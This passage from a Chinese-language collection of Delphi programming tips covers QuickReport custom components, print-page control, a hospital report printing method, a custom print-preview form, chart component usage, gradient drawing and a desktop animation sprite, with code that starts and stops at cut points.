SubColWidth := FColumns[ACol].Width;
Count := 1;
end;
R := CellRect(ACol, ARow);
for I := 0 to Count - 1 do
begin
DrawText(Canvas, OffsetRect(Rect(R.Left + SubColWidth * I, R.T
op,
R.Left + SubColWidth * (I + 1), R.Bottom), OfsX, OfsY), lstD
ata[I]);
end;
end;
end;
finally
lstData.Free;
end;
end;
end;
procedure TQRTable.DrawTable(Canvas: TCanvas; OfsX, OfsY: Integer);
begin
DrawFrames(Canvas, OfsX, OfsY);
DrawCorner(Canvas, OfsX, OfsY);
DrawFixed(Canvas, OfsX, OfsY);
end;
procedure TQRTable.Paint;
begin
inherited Paint;
Canvas.Font := FFont;
DrawTable(Canvas, 0, 0);
end;
procedure TQRTable.Print(OfsX, OfsY: Integer);
begin
QRPrinter.Canvas.Font := FFont;
DrawTable(QRPrinter.Canvas, OfsX, OfsY);
DrawContent(QRPrinter.Canvas, OfsX, OfsY);
end;
procedure Register;
begin
RegisterComponents('QReport', [TQRTable]);
end;
end.


控制打印行数

在你的 Detail Band 的 AfterPrint 事件中，每输出一行就会调用它一次。
你在这里记数，每做5次，就调用 QuickRep.NewPage 一次

开始时i在外面先设置为0：

void __fastcall TForm1::DetailBand1AfterPrint(TQRCustomBand
*Sender,
bool
BandPrinted)
{
i++;
if((i%5)==0)
QuickRep1->NewPage();
}


打印计算字段

 Delphi defines calculated table text fields as TStringfield and
QuickReport handles that type of field differently than it
handles actual memo fields. To output a calculated text field,
use a QRMemo component and set QRMemo.Lines.Text to
the value of the calculated field at runtime.


控制打印页数

1. 最简单: 把printer的进纸设成手动进纸就可以了.
2.
var
i:integer;
begin
repeat
inc(i);
yourQr.PrinterSettings.FirstPage := i;
yourQr.PrinterSettings.lastPage := i;
yourQr.PrinterSettings.ApplySettings;
try
yourQr.Print;
except
break;
end;
until MessageDlg('continue?',mtConfirmation, [mbYes, mbNo], 0) = mrNo;


使用QReport的若干经验

1）QuickRep1.DataSet:=query1
不然无输出结果
2）从qrpt2man.doc中查知，格式化输出结果的方法是：
在QRDBText.Mask中设为.00;0，将使输出带两位小数。
3）设置Group时，先加入一个QGroup，再加入一个QRBand，将QGroup的
FooterBand设为刚才的QRBand，就可将其联系起来。
4）在Group中打印的合计数，其ResetAfterPrint设为True,可实现分组合计。


编写医院的复杂报表

用delphi编写医院的复杂报表
江苏省无锡市中医医院电脑房
袁波
---- 我院的信息管理系统采用delphi编程，由于各科要求不同，报表形式也多种多样，编写起来让人头痛。delphi运行在WINDOWS平台下，打印同DOS下完全不同，而Quick Report即难以控制又占用资源，对于一个稍复杂的、有特殊要求的报表，Quick Report无法实现。这里介绍几个在编程中遇到的比较典型的报表的实现方法。

---- 1、哪个单位的财务科都有几本厚厚的台帐，我院财务科提出打印药库的台帐，好脱掉手工帐，也算是办公现代化了，要求合情合理，院长也说应当如此。看着财务科提供的红绿相间的、统一印制的、行间距3毫米的台帐专用小卡片，我不由想到中国人节俭的美德。考虑到每个药品至少打印一张，而且表格线一个都不能少，加上中医院药品有二千多种，所以这个报表必须用激光打印机来打印（至于如何让院长同意购买激光打印机，则是另一回事，办公自动化哪能没有代价呢）。程序实现的思路基本上是把打印纸当做画布在上面画一个个小矩形，具体由以下几个过程实现：（设Form名为Ttzview)。

先在程序中定义二个类：
titlerecord=record
Currect:Trect;
Atitle:string;
end;
detailrecord=record
Arect:Trect;
alignment:word;
end;

---- 再建立以下四个过程；

---- RectDraw(Acanvas:Tcanvas;s:string;R:Trect;frame:boolean;position:word);

---- 这个过程就是画矩形用的，frame决定是否画线（这里当然要画啦！）；

---- printinitit(firsttop,firstleft:integer);

---- 这个过程是初始化用的，就是定义各个小矩形在纸上的位置；

---- printtitle(acanvas:Tcanvas);

---- 这个过程是打印表头的，因为表头的字总是要大一些；

---- printdetail(acanvas:Tcanvas;Qtz:Tdataset;acount:integer;firstpage:integer);

---- 这个过程才是打印具体内容的，一页打印40行，不够就换页，总之一页只能是一个药品；

---- printhj(acanvas:Tcanvas);

---- 一看就知道，这个过程就是打印合计的啦！

---- 只要建个Botton,顺序调用printinitit,printtitle,printdetail,printhj这四个过程就行了，

---- (调用格式：printtitle(printer.canvas);)

---- 对了，Qtz就是查询出来的台帐数据，如何生成的这里就不谈了。

---- 具体程序如下

---- 此程序在delphi1,delphi3版本WIN3.2,WIN95,WIN97,WIN98平台下运行通过，顺便提供台帐数据库的库结构

---- 2、非常复杂，无法取巧的报表

---- 我院肿瘤科需要打印病人的病案，这可是特色专科现代化建设的一部分，卫生局要来检查的，所以必须完成任务。每一个病案有100多个项目，若用Qreport，中间如果要加减一个项目（这事常有），几十个项目的调整排列会使人昏倒。我一下子建立100多个临时变量，在虚拟的画布上画啊画，运行在我的PII233，64M内存的机子上倒是顺顺当当的，不过换到肿瘤科的486,8M内存的机子上时（大家别笑），系统堆栈马上溢出，所以只好祭出指针大法（我的编程水平好象又有长进，窃喜），方法如下：

先建立titleprint类:
titleprint=^Titlerecord;
titlerecord=record
Currect:Trect;
Atitle:string[50];
end;
再建立过程printnow（Form的名称叫
zlk,printdot就是打印机的点数，一般针打是180);
procedure
Tzlk.printnow(acanvas:Tcanvas);
var  i,x,y,pc_count:integer;
myprint:array[0..200] of titleprint;
begin
firsttop:=round(int(0.5/2.54*printdot));
firstleft:=round(int(0.1/2.54*printdot));
rowheight:=round(int(0.7/2.54*printdot));
x:=0+firstleft;y:=round(int
(1.3/2.54*printdot))+firsttop;
pc_count:=0;
inc(pc_count);
new(myprint[pc_count]);
myprint[pc_count]^.currect:=rect
(x+round(int(0.1/2.54*printdot))+firstleft,y,
x+round(int(3.0/2.54*printdot))+firstleft,
y+firsttop+round(int(0.5/2.54*printdot)));
myprint[pc_count]^.atitle:=Lname.
caption+DBname.text;
ACanvas.MoveTo(myprint[pc_count]^.
currect.left,
myprint[pc_count]^.currect.top-round
(rowheight/5));
{下面的四行还要重复100多次，基本差不多，
就不都写出来赚稿费了}
inc(pc_count);
new(myprint[pc_count]);
myprint[pc_count]^.currect:=scalerect(
myprint[pc_count-1]^.currect,round(int
(2.5/2.54*printdot)),0);
myprint[pc_count]^.atitle:=Lxb.caption+Cxb.text;
ACanvas.LineTo(myprint[i]^.currect.right,
myprint[i]^.currect.top-round(rowheight/5));
.......

   {打印}
printtitle(acanvas);
{这个函数就不提供了，表头不要也没关系}
for i:=1 to pc_count do
begin
RectDraw(Acanvas,myprint[i]^.atitle,
myprint[i]^.currect,false,
dt_left or
dt_singleline or dt_vcenter);
end;
dispose(myprint[pc_count]);
{别忘了把指针占用的内存释放}
end;

---- 最后建个Botton，加个是否真的打印的判断，再调用这几个函数就行了。

---- (调用格式：printtitle(printer.canvas);)

---- 看了以上两个例子，是不是觉得WINDOWS下的打印其实很简单，就跟你手工画表一样，而且表格内容的位置是居中、居左、还是居右，全由打印内容的Alignment决定，打印格式由内容的Display Format决定，用不着自己去算，方便极了。


动态储存载入报表

 You would use the report's QuickRep1.QRPrinter.Save method to save a file in the QRP format. Save can be called after a report have been generated by Preview or Prepare.
Use QRPrinter.Load method to Load Your QuickRep File.


画斜线的QuickReport控件

unit qrline;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
quickrpt;

type
TQRLineStyle = (QRLineH,QRLineV,QRLineC);

TQRLine = class(TQRPrintable)
private
FPen: TPen;
FLineStyle: TQRLineStyle;
procedure setPen(value: TPen);
procedure setLineStyle(value: TQRLineStyle);
procedure onPenChanged(Sendoer: TObject);
protected
{ Protected declarations }
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;

procedure Paint; override;
procedure Print(OfsX, OfsY : integer); override;
published
property Pen: TPen read FPen write setPen;
property LineStyle: TQRLineStyle read FLineStyle write setLineStyle;
end;

procedure Register;

implementation

constructor TQRLine.Create(AOwner: TComponent);
begin
inherited Create(AOwner);

  ControlStyle := ControlStyle - [csOpaque];
FPen :=
TPen.Create;
FPen.OnChange := onPenChanged;
width :=
100;
height := 100;
end;

destructor TQRLine.Destroy;
begin
FPen.Free;

inherited Destroy;
end;

procedure TQRLine.SetPen(Value: TPen);
begin
FPen.Assign(value);
Invalidate;
end;

procedure TQRLine.setLineStyle(value: TQRLineStyle);
begin
if FLineStyle <> value then
begin
FLineStyle := value;
Invalidate;
end;
end;

procedure TQRLine.onPenChanged(Sendoer: TObject);
begin
Invalidate;
end;

procedure TQRLine.Paint;
var
calDiff: integer;
begin
with Canvas do
begin
Pen := FPen;
calDiff := Pen.Width div 2;
MoveTo(calDiff,calDiff);
case LineStyle of
QRLineH: LineTo(width, 0 + calDiff);
QRLineV: LineTo(calDiff, Height);
QRLineC: LineTo(width, Height);
end;
end;
end;

procedure TQRLine.Print(OfsX, OfsY : integer);
var
CalcLeft,
CalcTop,
CalcRight,
CalcBottom: integer;
begin
with ParentReport.QRPrinter do
begin
Canvas.Pen := FPen;
CalcLeft := XPos(OfsX + Size.Left);
CalcTop := YPos(OfsY + Size.Top);
CalcRight := XPos(OfsX + Size.Left + Size.Width);
CalcBottom := YPos(OfsY + Size.Top + Size.Height);
with Canvas do
begin
MoveTo(CalcLeft,CalcTop);
case LineStyle of
QRLineH:
LineTo(CalcRight, CalcTop);
QRLineV:
LineTo(CalcLeft, CalcBottom);
QRLineC:
LineTo(CalcRight, CalcBottom);
end;
end;
end;
end;

procedure Register;
begin
RegisterComponents('QReport', [TQRLine]);
end;

end.


自定义QuickReport 的打印预览窗口

复 旦 大 学 电 子 工 程 系 本 科95 级 李 兴 华
---- Quick Report 2.0 中 提 供 的 默 认 打 印 预 览 窗 口 是 英 文 界 面 的， 如 果 开 发 的 中 文
软 件 中 带 有 这 种 英 文 显 示， 不 免 有 些 小 小 的 缺 憾。 因 此 有 必 要 实 现 中 文 界
面 的 打 印 预 览 窗 口。 但 是Delphi 提 供 的 源 代 码 中 并 没 有 打 印 预 览 窗 口 的.PAS 源
文 件， 这 就 无 法 直 接 修 改 源 码， 只 能 全 部 自 己 编 程 实 现。 经 多 次 实 践， 笔 者
模 仿 实 现 了 与 默 认 预 览 窗 口 外 观 类 似， 功 能 相 同 的 打 印 预 览 窗 口。 步 骤 如

下：

---- 1. 新 建 一 个 窗 体， 设 置Name 为MyPreview。

---- 2. 在 窗 体 上 添 加 一Toolbar 控 件， 模 仿 默 认 预 览 窗 口 创 建 相 应 的Toolbutton， 并 设
置 各 按 钮 的Hint 提 示。

---- 3. 添 加 一Panel 控 件， 对 齐 方 式 置 为alBottom。 再 在 此Panel 上 放 一ProgressBar( 左 对 齐)
和Panel( 右 对 齐)， 分 别 显 示 报 表 装 载 进 度 和 其 他 提 示 信 息。

---- 4. 添 加QRPreview 控 件， 对 齐 方 式 置 为alClient。

---- 5. 添 加OpenDialog， 设 置Filter 属 性 为*.QR； 添 加SaveDialog， 设 置Filter 属 性 为

*.QR|*.TXT|*.HTM|*.CSV， 设 置DefaultExt 属 性 为*.QR。

---- 6. 双 击 各 个Toolbutton， 输 入 相 应 代 码。

---- 可 以 按 以 下 方 法 调 用 自 定 义 预 览 窗 口。

---- 重 载TQuickRep 的OnPreview 事 件， 输 入 如 下 代 码：

procedure TRptForm.RptFormPreview(Sender: TObject);
begin
with
TMyPreview.Create(Application) do
begin
QRPreview1.QRPrinter := TQRPrinter(Sender);
CurRep := self;
Show;
end;
end;

附 各 成 员 方 法 的 具 体 实 现：
unit Myprv;

interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms, Dialogs,
ComCtrls, ToolWin, qrprntr,Quickrpt,
StdCtrls, ExtCtrls,qrextra,qrhtml;
type
TMyPreview = class(TForm)
QRPreview1: TQRPreview;
ToolBar1: TToolBar;
（ 其 余 成 员 变 量 和 成 员 方 法 声 明 略。）
private
{ Private declarations }
FPageCount : integer; // 生 成 报 表 的 总 页 数
public
{ Public declarations }
CurRep : TQuickRep; // 所 预 览 的 报 表
procedure UpdatePanelShow;
end;
implementation

{$R *.DFM}
procedure TMyPreview.UpdatePanelShow;
begin // 更 新 显 示
Panel2.Caption :=

' 第 '+inttostr(QRPreview1.PageNumber)+
' 页  总
'+inttostr(FPageCount)+' 页';
end;
procedure
TMyPreview.ToolButton2Click(Sender: TObject);
begin
//ZoomToFit  缩 放 至 全 屏
QRPreview1.ZoomToFit;
end;
procedure TMyPreview.ToolButton3Click(Sender:
TObject);
begin     //ZoomTo100%  缩 放 至 实 际 大
小
QRPreview1.Zoom:=100;
end;
procedure
TMyPreview.ToolButton4Click(Sender: TObject);
begin
//ZoomToWidth  缩 放 至 页 宽
QRPreview1.ZoomToWidth;
end;
procedure TMyPreview.ToolButton6Click(Sender:
TObject);

begin //First page
QRPreview1.PageNumber := 1;
UpdatePanelShow;
end;
procedure TMyPreview.ToolButton8Click(Sender: TObject);
begin //prior page
QRPreview1.PageNumber := QRPreview1.PageNumber+1;
UpdatePanelShow;
end;
procedure TMyPreview.ToolButton7Click(Sender: TObject);
begin //next page
QRPreview1.PageNumber := QRPreview1.PageNumber-1;
if QRPreview1.PageNumber =0 then
QRPreview1.PageNumber:=1;
UpdatePanelShow;
end;
procedure TMyPreview.ToolButton9Click(Sender: TObject);
begin //Last page
QRPreview1.PageNumber := FPageCount;
UpdatePanelShow;
end;
procedure TMyPreview.QRPreview1PageAvailable(Sender: TObject;

PageNum: Integer);
begin //get pagecount
FPageCount := PageNum ;
UpdatePanelShow;
end;
procedure TMyPreview.FormClose
(Sender: TObject; var Action: TCloseAction);
begin
CurRep := nil;
Action := caFree;
end;
procedure TMyPreview.ToolButton14Click(Sender: TObject);
begin //close the window
Close;
end;
procedure TMyPreview.ToolButton11Click(Sender: TObject);
begin //print setup
QRPreview1.QRPrinter.PrintSetup;
end;
procedure TMyPreview.ToolButton13Click(Sender: TObject);
begin //print

QRPreview1.QRPrinter.Print;
end;
procedure TMyPreview.ToolButton16Click(Sender: TObject);
begin //save button
if SaveDlg1.Execute then
begin
if (SaveDlg1.FIlterIndex <>1)and(CurRep = nil)then Exit;
case SaveDlg1.FilterINdex of
//--*.QR
1: QRPreview1.QRPrinter.Save(SaveDlg1.FileName);
//--*.TXT
2: CurRep.ExportToFilter
(TQRAsciiExportFilter.Create(SaveDlg1.FileName));
//--*.HTM
3: CurRep.ExportToFilter
(TQRHTMLExportFilter.Create(SaveDlg1.FileName));

//--*.CSV
4: CurRep.ExportToFilter
(TQRCSVExportFilter.Create(SaveDlg1.FileName));
end;
end;
end;
procedure TMyPreview.ToolButton17Click(Sender: TObject);
begin //load button
if OpenDlg1.Execute then
QRPreview1.QRPrinter.Load(OpenDlg1.FileName);
end;
procedure TMyPreview.QRPreview1
ProgressUpdate(Sender: TObject;
Progress: Integer);
begin //updage progress bar
ProgressBar1.Position := Progress;
end;
procedure TMyPreview.SaveDlg1TypeChange(Sender: TObject);

begin //set DefaultExt property of Savedialog
with SaveDlg1 do
case FilterIndex of
0: DefaultExt := '.QR';
1: DefaultExt := '.TXT';
2: DefaultExt := '.HTM';
3: DefaultExt := '.CSV';
end;
end;
end.//end of Unit
---- 以 上 程 序 在Windows NT 4.0 中 文 版(Service Pack 3)，Delphi 3.0 环 境 下 调 试 通 过。


CHARTFX构件使用详解

 首先介绍一下工程上经常用到的直方图和饼图的概念。由于实际需要，常需比较一组数据或多组数据的相对大小(如公司中各部门的收支情况比较、金融利率的调整情况等)。为了能够简洁直观地得到比较结果，通常将这些数据放入直角坐标系，以纵坐标的相对大小比较数据，即所谓直方图；或是将各数据转化为百分点，放入一个单位圆，即形成所谓饼图。
在Delphi组件VBX页中，ChartFx构件就是以上工程需要而设计的。选取该构件置于窗体上，调整至合适大小，即可见到缺省的图表格式(在未初始化数据时，构件自动生成随机数据充当比较项目)。在对象监视器中，设置不同的属性，还可以看到其它工具条。以下逐条解释各属性：
    Nseries需比较的数据项的个数
    Nvalues每个数据项中的子项目数
    TitleDlg图表的标题设置对话框
    AdmDlg图表构件绘图区上下左右边缘处注解设置对话框
    FontDlg注解文字字体设置
    BorderStyle图表构件的边框风格
    Height、Width、Top、Left这四项设置图表构件在窗体中的位置及大小
    BottomGap、TopGap、LeftGap、RightGap这四项设置图表构件绘图区的位置及大小
    ChartType、pThpe、Style这三项设置图表构件及绘图区的类型与风格
    Chart3D用以设置是否以三维形式显示数据
    ViewRot3D设置观察三维图示的视角
    WallWidth设置三维图示中X、Y、Z三壁的厚度
    LinebkColor、LineColor、LineStyle、LineWidth设置线条的颜色和风格
    PointType设置数据点的形状、类型
    RGB3DBK、RGB2DBK、RGBBK、RGBBarHorz设置2/3维图示中背景色
    Cursor设置绘图区光标形状
    Decimals设置图表中数据显示的小数位数
    Stacked设置图表中数据的归一化方式
    Grid、VertGridGap设置坐标系的背景网格线
    在制作同时比较多组数据的图表时，还需要设置以下属性：
    FixedGap每个数据项之间间隔
    ThisPoint数据项的次序
    ThisSerie每个数据项中子数据项的次序
    ThisBkColor、ThisColor颜色设置
    余下的Visible、Hint、HelpContext、Name、Tag等属性与其它构件相同，不再赘述。下面对CustTool、ToolBar、PalleteBar、PatternBar几个关于图表中工具条设置的属性作简单介绍。PalleteBar设为True时生成的图表带有颜色设置工具条，即可在浏览图表时改变数据项颜色以适应不同视觉需求。
    PatternBar设为True时生成的图表带有图案设置工具条，作用同上。
    ToolBar设为True时生成的图表带有一个功能
    强大的工具条，其上加速键能完成的功能有：从数据文件读入比较数据、输出数据到数据文件、图表打印、在直方图/饼图/离散点图/曲线拟合图之间切换、2/3维切换、改变视角、以表格方式浏览、修改数据等等。丰富的功能节省了程序员的开发时间，使用极为方便(工具条上每个加速键都有Hint提示)。
    CustTool在该属性里可以设置需要使用的功能项，Delphi自动去除未选取的加速键。
到目前为止，读者对ChartFx构件的属性已有了一定的了解，可以设计较为复杂的图表了，但还不能真正制作实用的图表，因为我们还未介绍如何初始化数据。同时读者可能还发现了这么个问题：当数据较多以致构件空间容纳不下怎么办?我们举一实例来说明这两个问题。假定某校要比较全校40个班级某一学期班平均成绩，40个班的平均分和名称(实验班、初一(2)等)分别存放在两个数组Data［39］、Class Name［39］中。在窗体FormCreat事件中加入以下代码：
    For i:=0 to 39 Do Begin
    ChartFx 1.OpenData［COD-VALUES］:=makelong(1,40);
    With ChartFx1 Do Begin
    ThisSerie:=0;
    Value［i］:=Data［i］;
    Legend［i］:=ClassName［i］;
    CloseData［COD-VALUES］:=0;
    End;
    End;
    按F9执行，我们发现图表并未显示全部40个数据，而是在绘图区下方出现了滚行条，滚动此条就可以浏览全部数据，Delphi轻松地解决了这个问题。在绘图区的右方则出现了一个注解框，显示每个数据项编号所对应的班级名称。
若设置ChartType为Bar，则每个数据项都用一个有一定高度(此高度由初始化数据及归一化方式决定)的彩色矩形条来表示。用鼠标双击矩形条即显示对应数据，显示方式由DblClkDlg和RigClkDlg设定。


chart 中动态显示坐标值

 procedure TForm1.Chart1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
begin
label1.caption:=floattostr(Chart1.LeftAxis.CalcPosPoint( x ));
end;


在运行时改变图表类型

 var tmp : TChartSeries;
begin
tmp := Series1;
ChangeSeriesType(tmp,TChartSeriesClass(TPieSeries));
end;


将区域的颜色取反

   快速将某一区域的颜色取反,主要应用在制作表格时的选择区域.
API函数:PatBlt(MyHDC:HDC;X,Y,WIDTH,HEIGHT:INTEGER;MODE);
例如:
var
MyDC:HDC;
Begin
MyDC:HDC;
MyDC:=GetDC(Form1.Handle);
if not PatBlt(MyDC,
1,
1,
100,
100,
DSTINVERT) then
ShowMessage('ERROR :~(');
End;


画渐变的方法

 | 一个画渐变的方法 cybercake（原作）
关键字 | Gradient,渐变,SSDrawGradient

一个画渐变的方法，希望大家能够帮我回答这个问题：
http://www.csdn.net/expert/topic/490/490274.shtm

(*
———————————————原理：————————————————
对于任何一种线性渐变（就是最常见的那种），在由起点和终点定义的渐变区
内，像素的RGB分量对于X和Y坐标的偏导数都是常量。于是我们可以先用极小
的代价来计算出这个二元方程的初始值，然后使用累加递推的方法计算出所有
的值。
———————————————注 1：————————————————
渐变区：由分别经过起点和终点，并垂直于这两点连线的平行直线和绘图区域
的边界围成的区域。在这个区域以外的像素不再有渐变。
———————————————注 2：————————————————
为了简化编程，我使用了浮点数来进行累加计算。实际上可以先用移位操作来
“放大”颜色值以提高累加时的精度，写入位图时再用移位“缩小”来恢复实
际的值。
———————————————测试：————————————————
该方法在Delphi6下调试通过。在Duron800，1152 X 864下采取重回1000次取
平均值的方法测试。
100 X 100：平均为4ms；
500 X 200：平均为18ms；
（我同时还在听MP3:P）
*)

function SSDrawGradient(ACanvas: TCanvas; AClipRect: TRect;
FromPoint, ToPoint: TPoint; FromColor, ToColor: TColor): Boolean;
type
TSSGradientDirection=(gdEast, gdWest, gdNorth, gdSouth, gdOther);
var
buf:TBitmap;
w,h,y,x,XOffset,ir,ig,ib,pw,ph:Integer;
c1, c2: TColor;
r1,g1,b1,r2,g2,b2,br,bg,bb,rmax,rmin,gmax,gmin,bmax,bmin: Byte;
kx,ky,kx0,ky0,rx0,gx0,bx0,r0,g0,b0,drx,dry,dgx,dgy,dbx,dby,dr,dg,db: Double;
P : PByteArray;

function GetStep(V1, V2, V3:Integer): Double;
begin
if V2=V1 then Result:=0
else Result:=V3/(V2-V1);
end;

begin
Result:=False;
if (FromPoint.Y=ToPoint.Y)and(FromPoint.X=ToPoint.X) then Exit;
buf:=TBitmap.Create;
try
//初始化缓冲区
buf.PixelFormat:=pf24bit;
w:=WidthOfRect(AClipRect);
buf.Width:=w;
h:=HeightOfRect(AClipRect);
buf.Height:=h;
//为了防止运算溢出而设的检查
if (w>Screen.Width)or(h>Screen.Height) then Exit;

//读取渐变起点和终点的RGB值
c1:=ColorToRGB(FromColor);
c2:=ColorToRGB(ToColor);
r1:=GetRValue(c1);
g1:=GetGValue(c1);
b1:=GetBValue(c1);
r2:=GetRValue(c2);
g2:=GetGValue(c2);
b2:=GetBValue(c2);
if r1>r2 then begin rmin:=r2; rmax:=r1 end
else begin rmin:=r1; rmax:=r2 end;
if g1>g2 then begin gmin:=g2; gmax:=g1 end
else begin gmin:=g1; gmax:=g2 end;
if b1>b2 then begin bmin:=b2; bmax:=b1 end
else begin bmin:=b1; bmax:=b2 end;
pw:=Abs(ToPoint.X-FromPoint.X);
ph:=Abs(ToPoint.Y-FromPoint.Y);
kx:=pw/Sqrt(ph*ph+pw*pw);
ky:=ph/Sqrt(ph*ph+pw*pw);

//计算出RGB值相对于XY轴的线性变化系数
drx:=GetStep(AClipRect.Left, AClipRect.Right, Round((r2-r1)*kx));
dry:=GetStep(AClipRect.Top, AClipRect.Bottom, Round((r2-r1)*ky));
dgx:=GetStep(AClipRect.Left, AClipRect.Right, Round((g2-g1)*kx));
dgy:=GetStep(AClipRect.Top, AClipRect.Bottom, Round((g2-g1)*ky));
dbx:=GetStep(AClipRect.Left, AClipRect.Right, Round((b2-b1)*kx));
dby:=GetStep(AClipRect.Top, AClipRect.Bottom, Round((b2-b1)*ky));

//计算出矩形左上角的RGB值,备用
kx0:=GetStep(FromPoint.X, ToPoint.X, FromPoint.X);
ky0:=GetStep(FromPoint.Y, ToPoint.Y, FromPoint.Y);
r0:=r1+(kx0+ky0)*r2;
g0:=g1+(kx0+ky0)*g2;
b0:=b1+(kx0+ky0)*b2;

//这三个变量是每个扫描线的第一个点的RGB值
rx0:=r0;
gx0:=g0;
bx0:=b0;
for y:=0 to h-1 do
begin
XOffset:=0;
//dr意思是Double类型的红色值，其他类推
dr:=rx0;
dg:=gx0;
db:=bx0;
P := buf.ScanLine[y];
for x:=0 to w-1 do
begin
//ir的意思是整型的红色值，其他类推
//之所以要先转成整型，是因为我觉得整型的比较也许会比浮点快一点
//反正都要三次Round的，不如早做……
ir:=Round(dr);
ig:=Round(dg);
ib:=Round(db);
//br的意思是字节型的红色值
br:=Max(Min(rmax,ir),rmin);
bg:=Max(Min(gmax,ig),gmin);
bb:=Max(Min(bmax,ib),bmin);
//按照偏移量设置RGB值
P[XOffset]:=bb;
P[XOffset+1]:=bg;
P[XOffset+2]:=br;

if FromPoint.X<>ToPoint.X then
begin
//下一个像素的RGB值分别按照一定的系数递增
dr:=dr+drx;
dg:=dg+dgx;
db:=db+dbx;
end;
//因为我定义的P是字节型的数组，所以这里递增“3”，避免使用乘法
Inc(XOffset, 3);
end;
if FromPoint.Y<>ToPoint.Y then
begin
//按照RGB在Y轴方向上的变化规律计算下一行的第一个像素RGB值
rx0:=rx0+dry;
gx0:=gx0+dgy;
bx0:=bx0+dby;
end;
end;
//将缓冲区复制到目标上
BitBlt(ACanvas.Handle, AClipRect.Left, AClipRect.Top, w, h,
buf.Canvas.Handle, 0, 0, SRCCOPY);
Result:=True;
finally
buf.Free;
end;
end


用TImageList动态画透明图片

 procedure TForm1.Button1Click(Sender: TObject);
var
bm : TBitmap;
il : TImageList;
begin
bm := TBitmap.Create;
bm.LoadFromFile('C:\DownLoad\TEST.BMP');
il := TImageList.CreateSize(bm.Width,
bm.Height);
il.DrawingStyle := dsTransparent;
il.Masked := true;
il.AddMasked(bm, clRed);
il.Draw(Form1.Canvas, 0, 0, 0);
bm.Free;
il.Free;
end;


桌面精灵

1． 软件的开发目的

想必大家对桌面精灵很熟悉吧，想不想自己编一个？笔者非常想编一个，其目的居然是为了取得美眉的喜欢，由此引出了我开发本软件的目的。如果读者有我同样的需求，那么请继续看下去，我将和你共同探讨这个问题。注意以下示例代码均用DELPHI描述。

2． 实现原理

其实桌面精灵的原理很简单，主要分以下几步：

1.获取桌面窗口的HDC。

API 定义如下：

GetDC函数用于获取指定窗口的图形设备描述表

HDC GetDC(

HWND hWnd // 窗口句柄

);

例如：

DeskTopDC:HDC;//定义桌面窗口的图形设备描述表句柄

DeskTopDC:=GetDC(0);

或者DeskTopDC:=GetDC(GetDesktopWindow());

2.创建一个内存位图，把桌面中将要绘图的区域，保存到内存位图中去，以便绘图完成时恢复桌面。为此我定义了一个函数：

procedure savebackground(BKCanvas :TCanvas;//内存位图的画布对象

sp_w:integer;//要保存区域的宽度

sp_h :integer ;//要保存区域的高度

nx:integer;//要保存区域的X坐标

ny:integer);//要保存区域的Y坐标

3.将动画对象透明地拷贝到桌面的绘图区域，笔者用了一个GDIAPI函数方便地实现了此功能。

定义如下：

BOOL TransparentBlt(HDC hdcDest,//目标图形设备描述表句柄

int nXOriginDest,//绘图矩形的X坐标

int nYOriginDest,//绘图矩形的Y坐标

int nWidthDest,//绘图矩形的宽度

int hHeightDest,//绘图矩形的高度

HDC hdcSrc,//源图形设备描述表句柄

int nXOriginSrc,//源绘图矩形的X坐标

int nYOriginSrc,//源绘图矩形的Y坐标

int nWidthSrc,//源绘图矩形的宽度

int nHeightSrc,//源绘图矩形的高度

UINT crTransparent//设置透明色RGB(r,g,b)

);

注意：

Windows NT: 需要5.0或以上版本

Windows: 需要 Windows 98 或 以上版本

其它低版本不支持。

此函数包含在msimg32.dll.

笔者定义了一个tranbit函数来动态调用TransparentBlt函数，具体定义见第三节。

4.将第二步生成的内存位图拷贝到桌面。这样一帧动画就显示完成。不断循环1-4步，你就能看到连续的动画场景了。

3．具体代码

以下是一个演示程序，在DELPHI5.0+WINDOWS2000P中调试通过。创建一个窗体Form1,放上两个Image控件,命名为Image1,Image2，再放上一个Timer控件，命名为Timer1。准备两张位图，一张放入Image1,另一张放入Image2。笔者用了如下样式的位图（截取了一部分），你可以自己画动画对象，也可以借用别人的，笔者就是用微软画的图片。

从图片你可以看出，图片中包括了许多连续的动画帧，一张图片完成一个动作，如旋转一周等，每帧动画大小完全一样，除了动画对象其它像素用一种透明色填充。好了你可以看具体的代码了。

unit Unitmain;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

ExtCtrls, StdCtrls,mmsystem;

type

TForm1 = class(TForm)

Timer1: TTimer;//爆炸定时器

Image1: TImage;//储存爆炸的图片

Image2: TImage;//储存飞行器的图片

procedure Timer1Timer(Sender: TObject);

procedure FormCreate(Sender: TObject);

procedure FormClose(Sender: TObject; var Action: TCloseAction);

private

{ Private declarations }

DeskTopDC:HDC;//桌面窗口的图形设备描述表句柄

stop:boolean;//控制循环的变量

expnum:integer;//爆炸的当前次数

procedure Explode(X:integer;Y:integer);//爆炸函数

procedure shipmove(X:integer;Y:integer);//飞行器函数

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

//保存桌面背景

procedure savebackground(BKCanvas :TCanvas;

sp_w:integer;

sp_h :integer ;

nx:integer;

ny:integer);

var sc:TCanvas;

begin

sc:=TCanvas.Create;

try

sc.Handle:=GetDC(0);

bkcanvas.CopyRect( rect(0,0,sp_w, sp_h), sc,rect(nx, ny, nx+sp_w, ny+sp_h));

ReleaseDC(0, sc.handle);

finally

sc.free;

end;

end;

//透明拷贝图像函数

//静态调用API函数TransparentBlt

procedure tranbit(hdcDest:HDC;

nXOriginDest:integer;

nYOriginDest:integer;

nWidthDest:integer;

hHeightDest:integer;

hdcSrc:HDC;

nXOriginSrc:integer;

nYOriginSrc:integer;

nWidthSrc:integer;

nHeightSrc:integer;

crTransparent:UINT) ;

Var

LibHandle:HWND;//动态连接库句柄

//函数原型定义

DllName:Procedure(hdcDest:HDC;

nXOriginDest:integer;

nYOriginDest:integer;

nWidthDest:integer;

hHeightDest:integer;

hdcSrc:HDC;

nXOriginSrc:integer;

nYOriginSrc:integer;

nWidthSrc:integer;

nHeightSrc:integer;

crTransparent:UINT);Stdcall;

begin

//以下是静态调用dll中函数的例行公事

LibHandle:=LoadLibrary('msimg32.dll');

if LibHandle<32 then

begin

MessageBox(Form1.Handle,'Not Found msimg32.dll','Error',0);

Exit;

end;

@DllName:=GetProcAddress(LibHandle,'TransparentBlt');

if @DllName=nil then

begin

